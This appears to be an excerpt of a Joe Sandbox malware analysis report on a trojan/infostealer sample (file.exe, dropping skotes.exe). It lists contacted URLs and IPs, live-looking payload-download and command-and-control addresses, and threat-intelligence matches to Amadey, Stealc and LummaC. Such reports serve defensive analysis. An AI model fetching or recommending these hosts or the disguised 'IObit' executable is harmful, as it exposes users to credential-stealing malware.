https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732043150710&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.x7CxCIZpks8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo8czmnaLIncRgBQP7N2THncpDJ9mQ/cb=gapi.loaded_0	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732043150092&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://www.google.com/async/newtab_promos	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732043150076&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://www.google.com/async/ddljson?async=ntp:2	false	high
https://play.google.com/log?format=json&hasfast=true	false	high
https://sb.scorecardresearch.com/b?rn=1732043144670&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=325FB603007165991815A33F01D964B1&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high
https://chrome.cloudflare-dns.com/dns-query	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732043151098&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732043144667&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000001.00000002.1791503615.00000000232F4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe1bf4040a96	skotes.exe, 0000001B.00000002.2583360770.000000000133F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000001.00000003.1497379577.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000001.00000003.1497379577.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpsE(	file.exe, 00000001.00000002.1791503615.00000000232F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://95.163.152.232/d5f9d50f5daacf4d7e3d467cb301a88a9e8ec4f0bddf31bf4040a952f649ui/	skotes.exe, 0000001B.00000002.2583360770.000000000132A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000001.00000003.1497379577.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dll6y	file.exe, 00000001.00000002.1757866437.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe.	skotes.exe, 0000001B.00000002.2583360770.00000000012EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpbn	skotes.exe, 0000001B.00000002.2583360770.000000000132A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000001.00000002.1753987889.00000000001D7000.00000040.00000001.01000000.00000004.sdmp	false		high
http://95.163.152.232/	skotes.exe, 0000001B.00000002.2583360770.000000000132A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000001.00000003.1497379577.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllY	file.exe, 00000001.00000002.1757866437.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exeF?Z	skotes.exe, 0000001B.00000002.2583360770.00000000012EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exeT?L	skotes.exe, 0000001B.00000002.2583360770.00000000012EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	file.exe, 00000001.00000003.1672721640.0000000023406000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000001.00000002.1784413104.000000001D2C9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1795925791.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe	skotes.exe, 0000001B.00000002.2583360770.00000000012EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000001.00000002.1796604428.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr	false		high
https://mozilla.org0/	nss3.dll.1.dr, mozglue.dll.1.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000001.00000003.1497379577.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dllaF	file.exe, 00000001.00000002.1757866437.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php&	file.exe, 00000001.00000002.1791503615.00000000232F4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exef	skotes.exe, 0000001B.00000002.2583360770.00000000012EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000001.00000002.1791503615.00000000232F4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000001.00000003.1497379577.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000001.00000003.1497379577.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206ata	file.exe, 00000001.00000002.1753987889.00000000001D7000.00000040.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000001.00000003.1672721640.0000000023406000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllDy;	file.exe, 00000001.00000002.1757866437.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpu	skotes.exe, 0000001B.00000002.2583360770.00000000012EB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000001.00000003.1497379577.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe1bf4040	skotes.exe, 0000001B.00000002.2583360770.000000000133F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome	content.js.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllr~	file.exe, 00000001.00000002.1757866437.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000001.00000002.1791503615.00000000232F4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpH	file.exe, 00000001.00000002.1757866437.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000001.00000002.1791503615.00000000232F4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	file.exe, 00000001.00000002.1791503615.00000000232F4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exeH	skotes.exe, 0000001B.00000002.2583360770.00000000012EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000001.00000002.1791503615.00000000232F4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe1bf4040a952W	skotes.exe, 0000001B.00000002.2583360770.000000000133F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe1bf2	skotes.exe, 0000001B.00000002.2583360770.000000000133F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exelV	skotes.exe, 0000001B.00000002.2583360770.00000000012EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206	file.exe, 00000001.00000002.1757866437.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1753987889.00000000001D7000.00000040.00000001.01000000.00000004.sdmp	false		high
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exeP	skotes.exe, 0000001B.00000002.2583360770.000000000133F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000001.00000003.1497379577.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/PR	file.exe, 00000001.00000002.1757866437.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	file.exe, 00000001.00000002.1791503615.00000000232F4000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.185.100	www.google.com	United States	15169	GOOGLEUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.186.110	play.google.com	United States	15169	GOOGLEUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.117.182.59	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.32.110.104	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
95.163.152.232	unknown	Russian Federation	12695	DINET-ASRU	true
51.132.193.105	unknown	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.18.14	plus.l.google.com	United States	15169	GOOGLEUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
65.52.241.40	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
108.139.47.33	unknown	United States	16509	AMAZON-02US	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.203.72	unknown	United States	20940	AKAMAI-ASN1EU	false
104.70.121.25	unknown	United States	20940	AKAMAI-ASN1EU	false
23.101.168.44	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.186.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
23.44.203.77	unknown	United States	20940	AKAMAI-ASN1EU	false

Private

IP
192.168.2.7
127.0.0.1
192.168.2.22

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1558793
Start date and time:	2024-11-19 20:04:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@71/300@31/27
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.35, 142.250.185.174, 142.251.173.84, 34.104.35.123, 142.250.184.195, 142.250.185.202, 142.250.186.42, 142.250.185.170, 142.250.186.74, 142.250.186.106, 172.217.18.10, 142.250.185.138, 142.250.181.234, 172.217.18.106, 142.250.185.106, 172.217.16.138, 142.250.184.202, 142.250.185.234, 142.250.186.138, 142.250.185.74, 216.58.206.42, 2.22.50.144, 13.107.42.16, 204.79.197.203, 204.79.197.239, 13.107.21.239, 216.58.206.46, 13.107.6.158, 2.19.126.152, 2.19.126.143, 20.56.187.20, 88.221.110.179, 88.221.110.195, 23.38.98.115, 23.38.98.76, 23.38.98.114, 23.38.98.100, 23.38.98.73, 23.38.98.118, 23.38.98.87, 23.38.98.77, 23.38.98.120, 2.23.209.135, 2.23.209.189, 2.23.209.183, 2.23.209.193, 2.23.209.156, 2.23.209.144, 2.23.209.150, 2.23.209.187, 2.23.209.141, 2.23.209.177, 2.23.209.158, 2.23.209.161, 2.23.209.160, 13.74.129.1, 13.107.21.237, 204.79.197.237, 2.23.209.176, 2.23.209.149, 2.23.209.130, 2.23.209.148, 2.23.209.133, 2.23.209.185, 2.23.209.182, 20.93.72.182, 20
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, p-static.bing.trafficmanager.net, clients2.google.com, e86303.dscx.akamaiedge.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, deff.nelreports.net.akamaized.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, time.windows.com, www.bing.com.edgekey.net, a-0016.a-msedge.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com,
Execution Graph export aborted for target DocumentsDBFBFBGDBK.exe, PID 6812 because it is empty
Execution Graph export aborted for target file.exe, PID 2756 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 6708 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
14:05:49	API Interceptor	39x Sleep call for process: file.exe modified
14:07:01	API Interceptor	197x Sleep call for process: skotes.exe modified
20:06:00	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sb.scorecardresearch.com	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	13.32.99.21
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	13.32.99.21
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.245.60.53
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	18.245.60.107
	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	18.244.18.27
	FRSSDE.exe	Get hash	malicious	Remcos	Browse	18.244.18.27
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	3.161.82.127
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	172.64.41.3
	exe004(1).exe	Get hash	malicious	Ramnit	Browse	162.159.61.3
	Dell-Command-Update-Windows-Universal-Application_9M35M_WIN_5.4.0_A00.EXE	Get hash	malicious	Unknown	Browse	172.64.41.3
	#U65b0#U7248#U7f51#U5173.exe	Get hash	malicious	Bdaejec, Neshta, Ramnit	Browse	162.159.61.3
	#U8865#U4e01#U6253#U5305.exe	Get hash	malicious	Bdaejec, Neshta, Ramnit	Browse	162.159.61.3
	#U8865#U4e01#U6253#U5305Srv.exe	Get hash	malicious	Neshta, Ramnit	Browse	162.159.61.3
	#U65b0#U7248#U7f51#U5173Srv.exe	Get hash	malicious	Bdaejec, Neshta, Ramnit	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	94.245.104.56
	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	94.245.104.56
	FRSSDE.exe	Get hash	malicious	Remcos	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://trimmer.to:443/GWHMY	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Your_Bonus_Breakdown_2024.docx	Get hash	malicious	Unknown	Browse	188.114.97.3
	Your_Bonus_Breakdown_2024.docx	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://hopp.bio/wchn	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	https://hmjpvx0wn1.gaimensebb.shop/	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.13.205
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Benefit Enrollment -eGz8VNb.pdf	Get hash	malicious	Unknown	Browse	188.114.97.3
	mainbas.bat	Get hash	malicious	Unknown	Browse	104.16.230.132
	bas.bat	Get hash	malicious	Unknown	Browse	104.16.230.132
	man - Copy.bat	Get hash	malicious	Unknown	Browse	104.16.231.132
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://brand.site/896562718995127961820892	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	http://52.113.191.172	Get hash	malicious	Unknown	Browse	52.113.191.172
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9HMTAuZHpwdndvYnIucnUvdkd5c2dQdC8=	Get hash	malicious	Unknown	Browse	52.123.129.14
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://nam.dcv.ms/WLtyQ3priB	Get hash	malicious	HTMLPhisher	Browse	13.107.253.70
	http://itrack4.valuecommerce.ne.jp/cgi-bin/2366370/entry.php?vc_url=http://serviceoctopus.com	Get hash	malicious	HTMLPhisher	Browse	13.107.6.156
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	20.96.153.111
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://brand.site/896562718995127961820892	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 20.109.210.53 20.190.160.22 13.107.246.45 184.28.90.27 20.3.187.198
	Your_Bonus_Breakdown_2024.docx	Get hash	malicious	Unknown	Browse	4.245.163.56 20.109.210.53 20.190.160.22 13.107.246.45 184.28.90.27 20.3.187.198
	https://hmjpvx0wn1.gaimensebb.shop/	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	4.245.163.56 20.109.210.53 20.190.160.22 13.107.246.45 184.28.90.27 20.3.187.198
	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 20.109.210.53 20.190.160.22 13.107.246.45 184.28.90.27 20.3.187.198
	Benefit Enrollment -eGz8VNb.pdf	Get hash	malicious	Unknown	Browse	4.245.163.56 20.109.210.53 20.190.160.22 13.107.246.45 184.28.90.27 20.3.187.198
	http://52.113.191.172	Get hash	malicious	Unknown	Browse	4.245.163.56 20.109.210.53 20.190.160.22 13.107.246.45 184.28.90.27 20.3.187.198
	https://payment.relevance-pre.enzymeadvisinggroup.com	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 20.109.210.53 20.190.160.22 13.107.246.45 184.28.90.27 20.3.187.198
	mainbas.bat	Get hash	malicious	Unknown	Browse	4.245.163.56 20.109.210.53 20.190.160.22 13.107.246.45 184.28.90.27 20.3.187.198
